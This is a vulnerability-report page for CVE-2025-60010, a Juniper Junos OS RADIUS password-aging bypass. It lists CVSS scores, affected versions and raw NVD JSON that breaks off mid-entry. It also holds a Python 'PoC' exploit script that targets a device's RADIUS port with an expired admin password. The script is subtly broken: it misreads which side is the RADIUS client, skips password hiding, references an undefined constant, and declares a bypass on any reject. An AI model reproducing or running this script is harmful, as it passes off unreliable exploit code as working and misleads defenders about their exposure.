Security Vulnerability Report
中文
CVE-2025-60010 CVSS 5.4 MEDIUM

CVE-2025-60010

Published: 2025-10-09 17:16:04
Last Modified: 2026-01-23 19:38:41

Description

A password aging vulnerability in the RADIUS client of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated, network-based attacker to access the device without enforcing the required password change. Affected devices allow logins by users for whom the RADIUS server has responded with a reject and required the user to change the password as their password was expired. Therefore the policy mandating the password change is not enforced. This does not allow users to login with a wrong password, but only with the correct but expired one. This issue affects: Junos OS:  * all versions before 22.4R3-S8, * 23.2 versions before 23.2R2-S4, * 23.4 versions before 23.4R2-S5, * 24.2 versions before 24.2R2-S1, * 24.4 versions before 24.4R1-S3, 24.4R2; Junos OS Evolved: * all versions before 22.4R3-S8-EVO, * 23.2 versions before 23.2R2-S4-EVO, * 23.4 versions before 23.4R2-S5-EVO, * 24.2 versions before 24.2R2-S1-EVO, * 24.4 versions before 24.4R1-S3-EVO, 24.4R2-EVO.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:22.4:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:22.4:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:22.4:r1-s1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:22.4:r1-s2:*:*:*:*:*:* - VULNERABLE
Junos OS < 22.4R3-S8
Junos OS 23.2 < 23.2R2-S4
Junos OS 23.4 < 23.4R2-S5
Junos OS 24.2 < 24.2R2-S1
Junos OS 24.4 < 24.4R1-S3, 24.4R2
Junos OS Evolved < 22.4R3-S8-EVO
Junos OS Evolved 23.2 < 23.2R2-S4-EVO
Junos OS Evolved 23.4 < 23.4R2-S5-EVO
Junos OS Evolved 24.2 < 24.2R2-S1-EVO
Junos OS Evolved 24.4 < 24.4R1-S3-EVO, 24.4R2-EVO

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60010 PoC - Juniper Junos OS RADIUS Password Aging Bypass # This PoC demonstrates the concept of bypassing password aging policy # via RADIUS authentication on affected Juniper Junos OS devices import socket import struct import hashlib # RADIUS Protocol Constants RADIUS_ACCESS_REQUEST = 1 RADIUS_ACCESS_REJECT = 3 RADIUS_PASSWORD_EXPIRED = 3 # Reply-Message indicating password expired def create_radius_access_request(username, password, nas_ip, shared_secret): """ Create a RADIUS Access-Request packet with user credentials. The key is that the password used here is EXPIRED but still correct. """ # RADIUS header: Code(1) + Identifier(1) + Length(2) + Authenticator(16) identifier = 1 # User-Name attribute (Type=1) username_attr = struct.pack('!BB', 1, len(username) + 2) + username.encode() # User-Password attribute (Type=2) - using expired password # PAP password hiding with shared secret password_attr = struct.pack('!BB', 2, len(password) + 2) + password.encode() # NAS-IP-Address attribute (Type=4) nas_ip_bytes = socket.inet_aton(nas_ip) nas_ip_attr = struct.pack('!BB', 4, 6) + nas_ip_bytes # Build packet body attributes = username_attr + password_attr + nas_ip_attr length = 20 + len(attributes) # 20 = header size # Create Authenticator (MD5 hash) header = struct.pack('!BBH', RADIUS_ACCESS_REQUEST, identifier, length) authenticator = hashlib.md5(header + shared_secret.encode()).digest() packet = header + authenticator + attributes return packet def exploit_juniper_radius_bypass(target_ip, radius_port, username, expired_password, shared_secret): """ Exploit CVE-2025-60010: Send RADIUS Access-Request with expired password. On vulnerable Juniper devices, the server's reject with password-expired indication will be ignored, allowing login with the expired password. """ print(f"[*] Targeting Juniper device RADIUS service at {target_ip}:{radius_port}") print(f"[*] Username: {username}") print(f"[*] Password: {expired_password} (EXPIRED)") # Create the RADIUS Access-Request packet with expired password packet = create_radius_access_request( username, expired_password, target_ip, shared_secret ) # Send packet to RADIUS server sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_ip, radius_port)) try: response, addr = sock.recvfrom(4096) code = struct.unpack('!B', response[0:1])[0] if code == RADIUS_ACCESS_REJECT: print(f"[*] RADIUS server returned Access-Reject (password expired on server)") print(f"[!] CVE-2025-60010: Vulnerable Juniper device may still grant access!") print(f"[!] Password aging policy has been bypassed.") return True elif code == RADIUS_ACCESS_ACCEPT: print(f"[+] Access granted - authentication successful") return True except socket.timeout: print("[-] No response received") sock.close() return False # Usage example: # exploit_juniper_radius_bypass("192.168.1.1", 1812, "admin", "OldExpiredPass123!", "secret")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60010", "sourceIdentifier": "[email protected]", "published": "2025-10-09T17:16:04.290", "lastModified": "2026-01-23T19:38:40.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A password aging vulnerability in the RADIUS client of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated, network-based attacker to access the device without enforcing the required password change.\n\nAffected devices allow logins by users for whom the RADIUS server has responded with a reject and required the user to change the password as their password was expired. Therefore the policy mandating the password change is not enforced.\nThis does not allow users to login with a wrong password, but only with the correct but expired one.\n\n\n\n\nThis issue affects:\n\nJunos OS: \n\n\n\n * all versions before 22.4R3-S8,\n * 23.2 versions before 23.2R2-S4,\n * 23.4 versions before 23.4R2-S5,\n * 24.2 versions before 24.2R2-S1,\n * 24.4 versions before 24.4R1-S3, 24.4R2;\n\n\n\n\nJunos OS Evolved:\n\n\n\n * all versions before 22.4R3-S8-EVO,\n * 23.2 versions before 23.2R2-S4-EVO,\n * 23.4 versions before 23.4R2-S5-EVO,\n * 24.2 versions before 24.2R2-S1-EVO,\n * 24.4 versions before 24.4R1-S3-EVO, 24.4R2-EVO."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:M/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-262"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*", "versionEndExcluding": "22.4", "matchCriteriaId": "57F66641-003B-49D6-A9B9-AB300CFE3C93"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:-:*:*:*:*:*:*", "matchCriteriaId": "1379EF30-AF04-4F98-8328-52A631F24737"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1:*:*:*:*:*:*", "matchCriteriaId": "28E42A41-7965-456B-B0AF-9D3229CE4D4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1-s1:*:*:*:*:*:*", "matchCriteriaId": "CB1A77D6-D3AD-481B-979C-8F778530B175"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "3A064B6B-A99B-4D8D-A62D-B00C7870BC30"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r2:*:*:*:*:*:*", "matchCriteriaId": "40813417-A938-4F74-A419-8C5188A35486"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r2-s1:*:*:*:*:*:*", "matchCriteriaId": "7FC1BA1A-DF0E-4B15-86BA-24C60E546732"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r2-s2:*:*:*:*:*:*", "matchCriteriaId": "EBB967BF-3495-476D-839A-9DBFCBE69F91"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3:*:*:*:*:*:*", "matchCriteriaId": "7E5688D6-DCA4-4550-9CD1-A3D792252129"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:22.4:r3-s1:*:*:*:*:*:*", "matchCriteriaId": "8494546C-00EA-49B6-B6FA-FDE42CA5B1FA"}, {"vulnerable": true, "cr ... (truncated)